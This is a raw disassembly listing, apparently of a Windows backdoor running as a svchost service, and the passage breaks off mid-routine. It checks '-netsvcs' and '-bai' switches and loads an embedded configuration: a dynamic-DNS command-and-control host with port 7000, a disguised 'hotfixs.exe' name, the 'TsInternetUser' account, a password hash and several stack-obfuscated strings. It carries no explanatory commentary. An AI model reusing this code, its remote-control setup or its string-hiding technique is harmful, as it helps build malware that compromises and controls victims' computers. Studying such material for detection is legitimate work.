loc_406DB0: ; CODE XREF: ___:00406DA5j mov esi, offset aNetsvcs ; "-netsvcs" mov eax, edi loc_406DB7: ; CODE XREF: ___:00406DD5j mov dl, [eax] mov cl, dl cmp dl, [esi] jnz short loc_406DDB test cl, cl jz short loc_406DD7 mov dl, [eax+1] mov cl, dl cmp dl, [esi+1] jnz short loc_406DDB add eax, 2 add esi, 2 test cl, cl jnz short loc_406DB7 loc_406DD7: ; CODE XREF: ___:00406DC1j xor eax, eax jmp short loc_406DE0 ; --------------------------------------------------------------------------- loc_406DDB: ; CODE XREF: ___:00406DBDj ; ___:00406DCBj sbb eax, eax sbb eax, 0FFFFFFFFh loc_406DE0: ; CODE XREF: ___:00406DD9j test eax, eax jnz short loc_406DED mov byte ptr [ebx+0Ah], 1 jmp loc_406F08 ; --------------------------------------------------------------------------- loc_406DED: ; CODE XREF: ___:00406DE2j mov esi, offset aBai ; "-bai" mov eax, edi loc_406DF4: ; CODE XREF: ___:00406E12j mov dl, [eax] mov cl, dl cmp dl, [esi] jnz short loc_406E18 test cl, cl jz short loc_406E14 mov dl, [eax+1] mov cl, dl cmp dl, [esi+1] jnz short loc_406E18 add eax, 2 add esi, 2 test cl, cl jnz short loc_406DF4 loc_406E14: ; CODE XREF: ___:00406DFEj xor eax, eax jmp short loc_406E1D ; --------------------------------------------------------------------------- loc_406E18: ; CODE XREF: ___:00406DFAj ; ___:00406E08j sbb eax, eax sbb eax, 0FFFFFFFFh loc_406E1D: ; CODE XREF: ___:00406E16j test eax, eax jnz loc_406F08 lea ecx, [esp+10h] call sub_401424 mov eax, [esp+468h] push offset aBai ; "-bai" push eax mov dword ptr [esp+468h], 0 call near ptr 77C47C60h nop add esp, 8 test eax, eax jz loc_406EF4 push eax lea ecx, [esp+14h] call sub_4015D7 push 1 push offset asc_443600 ; " " lea ecx, [esp+30h] push 1 push ecx lea ecx, [esp+20h] call sub_4011EA push offset byte_446F60 mov ecx, eax mov byte ptr [esp+464h], 1 call sub_4012EE lea ecx, [esp+28h] mov esi, eax mov byte ptr [esp+460h], 0 call sub_401226 test esi, esi jz short loc_406EF4 push 1 push offset asc_443600 ; " " lea edx, [esp+48h] push 1 push edx lea ecx, [esp+20h] mov byte ptr [ebx+0Bh], 1 call sub_4011EA push 104h mov ecx, eax mov byte ptr [esp+464h], 2 call sub_401681 push eax lea eax, [ebx+0Ch] push eax nop call near ptr 77C47A90h add esp, 0Ch lea ecx, [esp+40h] mov byte ptr [esp+460h], 0 call sub_401226 add ebp, 4 loc_406EF4: ; CODE XREF: ___:00406E51j ; ___:00406EA1j lea ecx, [esp+10h] mov dword ptr [esp+460h], 0FFFFFFFFh call sub_401226 loc_406F08: ; CODE XREF: ___:00406D6Dj ; ___:00406DABj ... mov eax, [ebp+4] add ebp, 4 test eax, eax jnz loc_406D38 xor ecx, ecx loc_406F18: ; CODE XREF: ___:00406D2Ej mov al, [ebx+4] pop edi pop esi pop ebp test al, al jnz short loc_406F25 mov [ebx+5], ecx loc_406F25: ; CODE XREF: ___:00406F20j cmp [ebx+5], ecx jnz short loc_406F35 test al, al jz short loc_406F35 mov dword ptr [ebx+5], 0Ah loc_406F35: ; CODE XREF: ___:00406F28j ; ___:00406F2Cj mov [ebx+5], ecx mov ecx, [esp+44Ch] mov byte ptr [ebx+4], 0 pop ebx mov large fs:0, ecx add esp, 454h retn 4 ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 0D0h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_407030 proc near ; CODE XREF: sub_40209Fj var_11 = byte ptr -11h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_407030 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 8 push esi mov esi, ecx mov [esp+18h+var_10], esi call sub_4011B3 lea ecx, [esi+4] call sub_401749 lea eax, [esp+18h+var_11] lea ecx, [esi+32h] push eax mov [esp+1Ch+var_4], 0 call sub_401564 sub_407030 endp ; --------------------------------------------------------------------------- mov ecx, [esp+0Ch] mov dword ptr [esi], offset off_43E00C mov eax, esi pop esi mov large fs:0, ecx add esp, 14h retn ; --------------------------------------------------------------------------- db 7 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4070B0 proc near ; CODE XREF: sub_401591j arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_4] push esi mov esi, ecx push eax mov ecx, [esp+8+arg_0] call sub_4015D7 mov edx, [esp+4+arg_0] mov ecx, [esp+4+arg_8] lea eax, [esp+4+arg_0] mov [edx+2Ah], ecx push eax lea ecx, [esi+32h] call sub_4014E2 sub_4070B0 endp ; --------------------------------------------------------------------------- pop esi retn 0Ch ; --------------------------------------------------------------------------- db 3 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4070F0 proc near ; CODE XREF: sub_401AF0j var_8 = dword ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 4 sub esp, 8 push esi mov esi, ecx push edi lea ecx, [esp+10h+var_8] call sub_401AC3 add esi, 32h lea eax, [esp+10h+var_4] push eax mov ecx, esi call sub_401622 mov ecx, [eax] lea edx, [esp+10h+var_4] mov [esp+10h+var_8], ecx push edx mov ecx, esi call sub_4021BC push eax lea ecx, [esp+14h+var_8] call sub_40183E test al, al jz short loc_40716B mov edi, [esp+10h+arg_0] loc_407133: ; CODE XREF: sub_4070F0+79j push edi lea ecx, [esp+14h+var_8] call sub_40173F mov ecx, [eax] call sub_4012EE test eax, eax lea ecx, [esp+10h+var_8] jz short loc_407175 call sub_401F0A lea eax, [esp+10h+var_4] mov ecx, esi push eax call sub_4021BC push eax lea ecx, [esp+14h+var_8] call sub_40183E test al, al jnz short loc_407133 loc_40716B: ; CODE XREF: sub_4070F0+3Dj pop edi xor eax, eax pop esi add esp, 8 retn 8 ; --------------------------------------------------------------------------- loc_407175: ; CODE XREF: sub_4070F0+5Aj call sub_40173F mov eax, [eax] pop edi pop esi add esp, 8 retn 8 sub_4070F0 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4071C0 proc near ; CODE XREF: sub_4021F8j xor al, al retn 4 sub_4071C0 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4071E0 proc near ; CODE XREF: sub_401564j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi mov esi, ecx push 0 mov cl, [eax] push 0 mov [esi], cl mov ecx, esi call sub_40119F sub_4071E0 endp ; --------------------------------------------------------------------------- mov [esi+4], eax mov dword ptr [esi+8], 0 mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_407220 proc near ; CODE XREF: sub_401622j arg_0 = dword ptr 4 mov eax, [ecx+4] push esi push eax call sub_401A82 mov ecx, [eax] mov esi, [esp+8+arg_0] add esp, 4 push ecx mov ecx, esi call sub_402185 mov eax, esi pop esi retn 4 sub_407220 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_407260 proc near ; CODE XREF: sub_4021BCj arg_0 = dword ptr 4 mov eax, [ecx+4] push esi mov esi, [esp+4+arg_0] push eax mov ecx, esi call sub_402185 mov eax, esi pop esi retn 4 sub_407260 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_407290 proc near ; CODE XREF: sub_4014E2j var_4 = byte ptr -4 arg_0 = dword ptr 4 push ecx mov eax, [esp+4+arg_0] push esi mov esi, ecx push eax lea ecx, [esp+0Ch+arg_0] push ecx mov ecx, esi call sub_4021BC mov edx, [eax] lea eax, [esp+0Ch+var_4] push edx push eax mov ecx, esi call sub_4013B6 sub_407290 endp ; --------------------------------------------------------------------------- pop esi pop ecx retn 4 ; --------------------------------------------------------------------------- db 7 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4072D0 proc near ; CODE XREF: sub_401AC3j push esi mov esi, ecx call sub_401B63 mov eax, esi pop esi retn sub_4072D0 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4072F0 proc near ; CODE XREF: sub_40173Fj mov eax, [ecx] push eax call sub_401208 add esp, 4 retn sub_4072F0 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_407310 proc near ; CODE XREF: sub_401F0Aj push esi mov esi, ecx mov eax, [esi] push eax call sub_401A82 mov ecx, [eax] add esp, 4 mov [esi], ecx mov eax, esi pop esi retn sub_407310 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_407340 proc near ; CODE XREF: sub_40183Ej arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call sub_401FA0 neg al sbb eax, eax inc eax retn 4 sub_407340 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_407370 proc near ; CODE XREF: sub_4013B6j arg_0 = dword ptr 4 arg_4 = byte ptr 8 arg_8 = dword ptr 0Ch push ebx push esi mov esi, ecx push edi lea ecx, [esp+0Ch+arg_4] call sub_401C8A mov edi, eax push edi call sub_401C58 mov eax, [eax] add esp, 4 mov ecx, esi push eax push edi call sub_40119F sub_407370 endp ; --------------------------------------------------------------------------- push edi mov ebx, eax call sub_401C58 push edi mov [eax], ebx call sub_401C58 mov edi, [eax] push edi call sub_401C58 mov ecx, [eax] push ecx call sub_401A82 mov edx, [esp+28h] add esp, 10h mov [eax], edi push edx push edi call sub_401208 add esp, 4 mov ecx, esi push eax call sub_401672 mov ecx, [esi+8] push edi inc ecx mov [esi+8], ecx mov esi, [esp+14h] mov ecx, esi call sub_402185 mov eax, esi pop edi pop esi pop ebx retn 0Ch ; --------------------------------------------------------------------------- db 6 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_407410 proc near ; CODE XREF: sub_40119Fj arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push edi push 0Ch call sub_4019C9 sub_407410 endp ; --------------------------------------------------------------------------- mov edi, [esp+0Ch] mov esi, eax test edi, edi jnz short loc_407425 mov edi, esi loc_407425: ; CODE XREF: ___:00407421j push esi call sub_401A82 mov [eax], edi mov edi, [esp+14h] add esp, 4 test edi, edi jnz short loc_40743A mov edi, esi loc_40743A: ; CODE XREF: ___:00407436j push esi call sub_401C58 add esp, 4 mov [eax], edi mov eax, esi pop edi pop esi retn 8 ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_407460 proc near ; CODE XREF: sub_401A82j arg_0 = dword ptr 4 mov eax, [esp+arg_0] retn sub_407460 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_407480 proc near ; CODE XREF: sub_401208j arg_0 = dword ptr 4 mov eax, [esp+arg_0] add eax, 8 retn sub_407480 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4074A0 proc near ; CODE XREF: sub_401B63j mov eax, ecx retn sub_4074A0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4074C0 proc near ; CODE XREF: sub_402185j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi mov esi, ecx push eax call sub_4011E5 mov eax, esi pop esi retn 4 sub_4074C0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4074F0 proc near ; CODE XREF: sub_401FA0j arg_0 = dword ptr 4 mov edx, [esp+arg_0] mov eax, [ecx] push esi xor ecx, ecx mov esi, [edx] cmp eax, esi pop esi setz cl mov al, cl retn 4 sub_4074F0 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_407520 proc near ; CODE XREF: sub_401C58j arg_0 = dword ptr 4 mov eax, [esp+arg_0] add eax, 4 retn sub_407520 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_407540 proc near ; CODE XREF: sub_4019C9j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 0 push eax call sub_401D16 sub_407540 endp ; --------------------------------------------------------------------------- add esp, 8 retn 4 ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_407570 proc near ; CODE XREF: sub_401672j arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] mov ecx, [esp+arg_0] push eax push ecx call sub_40109B add esp, 8 retn 8 sub_407570 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4075A0 proc near ; CODE XREF: sub_4011E5j arg_0 = dword ptr 4 mov eax, ecx mov ecx, [esp+arg_0] mov [eax], ecx retn 4 sub_4075A0 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4075C0 proc near ; CODE XREF: sub_401C8Aj mov eax, [ecx] retn sub_4075C0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4075E0 proc near ; CODE XREF: sub_401D16j arg_0 = dword ptr 4 mov eax, [esp+arg_0] test eax, eax jge short loc_4075EA xor eax, eax loc_4075EA: ; CODE XREF: sub_4075E0+6j push eax call sub_4367FA sub_4075E0 endp ; --------------------------------------------------------------------------- add esp, 4 retn ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_407610 proc near ; CODE XREF: sub_40109Bj arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push eax push 4 call sub_4011CC add esp, 8 test eax, eax jz short locret_40762B mov ecx, [esp+arg_4] mov edx, [ecx] mov [eax], edx locret_40762B: ; CODE XREF: sub_407610+11j retn sub_407610 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_407640 proc near ; CODE XREF: sub_4011CCj arg_4 = dword ptr 8 mov eax, [esp+arg_4] retn sub_407640 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_407660 proc near ; CODE XREF: sub_401B2Cj var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = byte ptr 8 mov eax, large fs:0 push 0FFFFFFFFh push offset SEH_407660 push eax mov large fs:0, esp push 0 push 0 push 0 push 0 lea ecx, [esp+1Ch+arg_4] mov [esp+1Ch+var_4], 0 call sub_4017E4 push eax mov eax, [esp+20h+arg_0] push 0 push eax mov ecx, offset word_448D06 call sub_401B5E sub_407660 endp ; --------------------------------------------------------------------------- lea ecx, [esp+14h] mov dword ptr [esp+8], 0FFFFFFFFh call sub_401226 mov ecx, [esp+0] mov large fs:0, ecx add esp, 0Ch retn 1Ch ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4076F0 proc near ; CODE XREF: sub_401CC1j var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = byte ptr 8 arg_1C = byte ptr 20h mov eax, large fs:0 push 0FFFFFFFFh push offset SEH_4076F0 push eax mov large fs:0, esp push 0 push 0 push 0 push 0 lea ecx, [esp+1Ch+arg_1C] mov [esp+1Ch+var_4], 1 call sub_4017E4 push eax lea ecx, [esp+20h+arg_4] call sub_4017E4 push eax mov eax, [esp+24h+arg_0] push eax mov ecx, offset word_448D06 call sub_401B5E sub_4076F0 endp ; --------------------------------------------------------------------------- lea ecx, [esp+14h] mov byte ptr [esp+8], 0 call sub_401226 lea ecx, [esp+2Ch] mov dword ptr [esp+8], 0FFFFFFFFh call sub_401226 mov ecx, [esp+0] mov large fs:0, ecx add esp, 0Ch retn 34h ; --------------------------------------------------------------------------- db 8 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_407790 proc near ; CODE XREF: sub_40121Cj var_350 = dword ptr -350h var_34C = dword ptr -34Ch var_348 = byte ptr -348h var_330 = byte ptr -330h var_318 = byte ptr -318h var_2F4 = byte ptr -2F4h var_2DC = byte ptr -2DCh var_2C4 = byte ptr -2C4h var_2AC = byte ptr -2ACh var_294 = byte ptr -294h var_27C = byte ptr -27Ch var_264 = byte ptr -264h var_24C = byte ptr -24Ch var_234 = byte ptr -234h var_21C = byte ptr -21Ch var_204 = byte ptr -204h var_1EC = byte ptr -1ECh var_1D4 = byte ptr -1D4h var_1BC = byte ptr -1BCh var_1A4 = byte ptr -1A4h var_18C = byte ptr -18Ch var_174 = byte ptr -174h var_15C = byte ptr -15Ch var_144 = byte ptr -144h var_114 = byte ptr -114h var_E4 = byte ptr -0E4h var_CC = byte ptr -0CCh var_B4 = byte ptr -0B4h var_9C = byte ptr -9Ch var_84 = byte ptr -84h var_6C = byte ptr -6Ch var_54 = byte ptr -54h var_3C = byte ptr -3Ch var_24 = byte ptr -24h var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_407790 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 344h push ebx push esi mov esi, ecx push edi lea ecx, [esp+35Ch+var_174] call sub_401424 lea ecx, [esp+35Ch+var_2DC] mov [esp+35Ch+var_4], 0 call sub_401424 lea ecx, [esp+35Ch+var_1A4] mov byte ptr [esp+35Ch+var_4], 1 call sub_401424 lea ecx, [esp+35Ch+var_1D4] mov byte ptr [esp+35Ch+var_4], 2 call sub_401424 lea ecx, [esp+35Ch+var_2C4] mov byte ptr [esp+35Ch+var_4], 3 call sub_401424 lea ecx, [esp+35Ch+var_2AC] mov byte ptr [esp+35Ch+var_4], 4 call sub_401424 lea ecx, [esp+35Ch+var_204] mov byte ptr [esp+35Ch+var_4], 5 call sub_401424 lea ecx, [esp+35Ch+var_234] mov byte ptr [esp+35Ch+var_4], 6 call sub_401424 lea ecx, [esp+35Ch+var_2F4] mov byte ptr [esp+35Ch+var_4], 7 call sub_401424 lea ecx, [esp+35Ch+var_24] mov byte ptr [esp+35Ch+var_4], 8 call sub_401424 lea ecx, [esp+35Ch+var_54] mov byte ptr [esp+35Ch+var_4], 9 call sub_401424 lea ecx, [esp+35Ch+var_84] mov byte ptr [esp+35Ch+var_4], 0Ah call sub_401424 lea ecx, [esp+35Ch+var_3C] mov byte ptr [esp+35Ch+var_4], 0Bh call sub_401424 lea ecx, [esp+35Ch+var_6C] mov byte ptr [esp+35Ch+var_4], 0Ch call sub_401424 lea ecx, [esp+35Ch+var_264] mov byte ptr [esp+35Ch+var_4], 0Dh call sub_401424 lea ecx, [esp+35Ch+var_27C] mov byte ptr [esp+35Ch+var_4], 0Eh call sub_401424 lea ecx, [esp+35Ch+var_15C] mov byte ptr [esp+35Ch+var_4], 0Fh call sub_401424 lea ecx, [esp+35Ch+var_114] mov byte ptr [esp+35Ch+var_4], 10h call sub_401424 lea ecx, [esp+35Ch+var_18C] mov byte ptr [esp+35Ch+var_4], 11h call sub_401424 mov byte ptr [esp+35Ch+var_4], 12h lea ecx, [esp+35Ch+var_144] call sub_401424 lea ecx, [esp+35Ch+var_1BC] mov byte ptr [esp+35Ch+var_4], 13h call sub_401424 lea ecx, [esp+35Ch+var_294] mov byte ptr [esp+35Ch+var_4], 14h call sub_401424 lea ecx, [esp+35Ch+var_1EC] mov byte ptr [esp+35Ch+var_4], 15h call sub_401424 lea ecx, [esp+35Ch+var_CC] mov byte ptr [esp+35Ch+var_4], 16h call sub_401424 lea ecx, [esp+35Ch+var_21C] mov byte ptr [esp+35Ch+var_4], 17h call sub_401424 lea ecx, [esp+35Ch+var_B4] mov byte ptr [esp+35Ch+var_4], 18h call sub_401424 lea ecx, [esp+35Ch+var_24C] mov byte ptr [esp+35Ch+var_4], 19h call sub_401424 lea ecx, [esp+35Ch+var_9C] mov byte ptr [esp+35Ch+var_4], 1Ah call sub_401424 lea ecx, [esp+35Ch+var_E4] mov byte ptr [esp+35Ch+var_4], 1Bh call sub_401424 lea ecx, [esp+35Ch+var_330] mov byte ptr [esp+35Ch+var_4], 1Ch call sub_401424 lea ecx, [esp+35Ch+var_318] mov byte ptr [esp+35Ch+var_4], 1Dh call sub_401424 mov bl, 1Eh push offset aScorti1_dns2go ; "scorti1.dns2go.com" lea ecx, [esp+360h+var_174] mov byte ptr [esp+360h+var_4], bl call sub_401A87 push offset a7000 ; "7000" lea ecx, [esp+360h+var_2DC] call sub_401A87 push offset byte_446F60 lea ecx, [esp+360h+var_1BC] call sub_401A87 push offset aScorti1_dns2go ; "scorti1.dns2go.com" lea ecx, [esp+360h+var_1A4] call sub_401A87 lea eax, [esp+35Ch+var_2DC] lea ecx, [esp+35Ch+var_1D4] push eax call sub_40200E push offset byte_446F60 lea ecx, [esp+360h+var_294] call sub_401A87 push offset aScop ; "#scop#" lea ecx, [esp+360h+var_2C4] call sub_401A87 push offset aS_1 ; "#s" lea ecx, [esp+360h+var_E4] call sub_401A87 push offset aServec ; "servec" lea ecx, [esp+360h+var_2AC] call sub_401A87 push offset aHotfixs_exe ; "hotfixs.exe" lea ecx, [esp+360h+var_204] call sub_401A87 push offset aHoewrt ; "hoewrt" lea ecx, [esp+360h+var_234] call sub_401A87 push offset aTahy ; "TAHY-" lea ecx, [esp+360h+var_2F4] call sub_401A87 push offset aAbosal7 ; "abosal7" lea ecx, [esp+360h+var_264] call sub_401A87 push offset aE10adc3949ba59 ; "E10ADC3949BA59ABBE56E057F20F883E" lea ecx, [esp+360h+var_27C] call sub_401A87 push offset aAdmin_com ; "admin.com" lea ecx, [esp+360h+var_15C] call sub_401A87 push offset aTsinternetuser ; "TsInternetUser" lea ecx, [esp+360h+var_114] call sub_401A87 push offset dword_4437FC lea ecx, [esp+360h+var_18C] call sub_401A87 push offset dword_4437F8 lea ecx, [esp+360h+var_1EC] call sub_401A87 push 0 push 4Bh push 48h push 4Ah push 47h push 4Ch push 48h push 4Bh push 48h push 45h lea ecx, [esp+384h+var_348] push 46h push ecx call sub_4019B5 add esp, 30h push eax lea ecx, [esp+360h+var_144] mov byte ptr [esp+360h+var_4], 1Fh call sub_40200E lea ecx, [esp+35Ch+var_348] mov byte ptr [esp+35Ch+var_4], bl call sub_401226 push 0 push 0Dh push 0Fh push 3 push 4Fh push 14h push 6 push 0Fh push 0Fh push 13h push 0Fh push 12h push 3 push 9 push 0Dh push 4Fh push 18h push 9 push 6 push 14h push 0Fh lea edx, [esp+3B0h+var_348] push 8 push edx call sub_4019B5 add esp, 5Ch push eax lea ecx, [esp+360h+var_CC] mov byte ptr [esp+360h+var_4], 20h call sub_40200E lea ecx, [esp+35Ch+var_348] mov byte ptr [esp+35Ch+var_4], bl call sub_401226 push 0 push 48h push 46h push 44h lea eax, [esp+36Ch+var_348] push 45h push eax call sub_4019B5 add esp, 18h push eax lea ecx, [esp+360h+var_21C] mov byte ptr [esp+360h+var_4], 21h call sub_40200E lea ecx, [esp+35Ch+var_348] mov byte ptr [esp+35Ch+var_4], bl call sub_401226 push 0 push 48h push 46h push 44h lea ecx, [esp+36Ch+var_348] push 45h push ecx call sub_4019B5 add esp, 18h push eax lea ecx, [esp+360h+var_24C] mov byte ptr [esp+360h+var_4], 22h call sub_40200E lea ecx, [esp+35Ch+var_348] mov byte ptr [esp+35Ch+var_4], bl call sub_401226 push 0 push 44h push 49h lea edx, [esp+368h+var_348] push 46h push edx call sub_4019B5 add esp, 14h push eax lea ecx, [esp+360h+var_B4] mov byte ptr [esp+360h+var_4], 23h call sub_40200E lea ecx, [esp+35Ch+var_348] mov byte ptr [esp+35Ch+var_4], bl call sub_401226 push 0 push 48h push 46h push 44h lea eax, [esp+36Ch+var_348] push 45h push eax call sub_4019B5 add esp, 18h push eax lea ecx, [esp+360h+var_9C] mov byte ptr [esp+360h+var_4], 24h call sub_40200E lea ecx, [esp+35Ch+var_348] mov byte ptr [esp+35Ch+var_4], bl call sub_401226 push 0 push 5 push 15h push 12h lea ecx, [esp+36Ch+var_348] push 14h push ecx call sub_4019B5 add esp, 18h push eax lea ecx, [esp+360h+var_330] mov byte ptr [esp+360h+var_4], 25h call sub_40200E mov byte ptr [esp+35Ch+var_4], bl lea ecx, [esp+35Ch+var_348] call sub_401226 push 0 push 5 push 13h push 0Ch push 1 lea edx, [esp+370h+var_348] push 6 push edx call sub_4019B5 add esp, 1Ch push eax lea ecx, [esp+360h+var_318] mov byte ptr [esp+360h+var_4], 26h call sub_40200E lea ecx, [esp+35Ch+var_348] mov byte ptr [esp+35Ch+var_4], bl call sub_401226 lea ecx, [esp+35Ch+var_2AC] call sub_4017E4 sub esp, 18h mov ecx, esp mov [esp+374h+var_34C], esp push eax call sub_401861 push 0 push 13h push 13h push 1 push 10h push 0Eh push 1 push 8 push 3 push 4Eh push 14h push 0Fh push 0Fh push 12h push 3Fh push 12h push 5 push 16h push 12h push 5 push 13h push 3Fh push 9 lea eax, [esp+3D0h+var_348] push 13h push eax mov byte ptr [esp+3D8h+var_4], 27h call sub_4019B5 add esp, 64h mov ecx, eax mov byte ptr [esp+374h+var_4], 28h call sub_4017E4 sub esp, 18h mov ecx, esp mov [esp+38Ch+var_350], esp push eax call sub_401861 lea ecx, [esi+0FECh] mov byte ptr [esp+38Ch+var_4], 29h push ecx mov ecx, esi call sub_401CC1 sub_407790 endp ; --------------------------------------------------------------------------- lea ecx, [esp+14h] mov [esp+358h], bl call sub_401226 lea ecx, [esp+98h] call sub_4017E4 sub esp, 18h mov ecx, esp mov [esp+24h], esp push eax call sub_401861 push 0 push 0Eh push 1 push 8 push 3 push 0Eh push 9 push 1 push 0Dh push 4Eh push 14h push 0Fh push 0Fh push 12h push 3Fh push 12h push 5 push 16h push 12h push 5 push 13h push 3Fh push 9 lea edx, [esp+88h] push 13h push edx mov byte ptr [esp+3D4h], 2Ah call sub_4019B5 add esp, 64h mov ecx, eax mov byte ptr [esp+370h], 2Bh call sub_4017E4 sub esp, 18h mov ecx, esp mov [esp+40h], esp push eax call sub_401861 lea eax, [esi+1035h] mov ecx, esi push eax mov byte ptr [esp+38Ch], 2Ch call sub_401CC1 ; --------------------------------------------------------------------------- lea ecx, [esp+14h] mov [esp+358h], bl call sub_401226 lea ecx, [esp+80h] call sub_4017E4 sub esp, 18h mov ecx, esp mov [esp+24h], esp push eax call sub_401861 push 0 push 14h push 12h push 0Fh push 10h push 4Eh push 14h push 0Fh push 0Fh push 12h push 3Fh push 12h push 5 push 16h push 12h push 5 push 13h push 3Fh push 9 lea ecx, [esp+78h] push 13h push ecx mov byte ptr [esp+3C4h], 2Dh call sub_4019B5 add esp, 54h mov ecx, eax mov byte ptr [esp+370h], 2Eh call sub_4017E4 sub esp, 18h mov ecx, esp mov [esp+40h], esp push eax call sub_401861 lea edx, [esi+0FA3h] mov ecx, esi push edx mov byte ptr [esp+38Ch], 2Fh call sub_401CC1 ; --------------------------------------------------------------------------- lea ecx, [esp+14h] mov [esp+358h], bl call sub_401226 lea ecx, [esp+1E8h] call sub_4017E4 sub esp, 18h mov ecx, esp mov [esp+24h], esp push eax call sub_401861 push 0 push 12h push 5 push 16h push 12h push 5 push 13h push 4Eh push 14h push 0Fh push 0Fh push 12h push 3Fh push 12h push 5 push 16h push 12h push 5 push 13h push 3Fh push 9 lea eax, [esp+80h] push 13h push eax mov byte ptr [esp+3CCh], 30h call sub_4019B5 add esp, 5Ch mov ecx, eax mov byte ptr [esp+370h], 31h call sub_4017E4 sub esp, 18h mov ecx, esp mov [esp+40h], esp push eax call sub_401861 lea ecx, [esi+0F5Ah] mov byte ptr [esp+388h], 32h push ecx mov ecx, esi call sub_401CC1 ; --------------------------------------------------------------------------- lea ecx, [esp+14h] mov [esp+358h], bl call sub_401226 lea ecx, [esp+68h] call sub_4017E4 sub esp, 18h mov ecx, esp mov [esp+24h], esp push eax call sub_401861 mov byte ptr [esp+370h], 33h push 0 push 18h push 9 push 6 push 5 push 12h push 10h push 0Bh push 3 push 9 push 0Eh push 4Eh push 14h push 0Fh push 0Fh push 12h push 3Fh push 12h push 5 push 16h push 12h push 5 push 13h push 3Fh push 9 lea edx, [esp+90h] push 13h push edx call sub_4019B5 add esp, 6Ch mov ecx, eax mov byte ptr [esp+370h], 34h call sub_4017E4 sub esp, 18h mov ecx, esp mov [esp+40h], esp push eax call sub_401861 lea edi, [esi+0E7Fh] mov ecx, esi push edi mov byte ptr [esp+38Ch], 35h call sub_401CC1 ; --------------------------------------------------------------------------- lea ecx, [esp+14h] mov [esp+358h], bl call sub_401226 lea ecx, [esp+1A0h] call sub_4017E4 sub esp, 18h mov ecx, esp mov [esp+24h], esp push eax call sub_401861 push 0 push 13h push 13h push 1 push 10h push 16h push 12h push 5 push 13h push 4Eh push 14h push 0Fh push 0Fh push 12h push 3Fh push 12h push 5 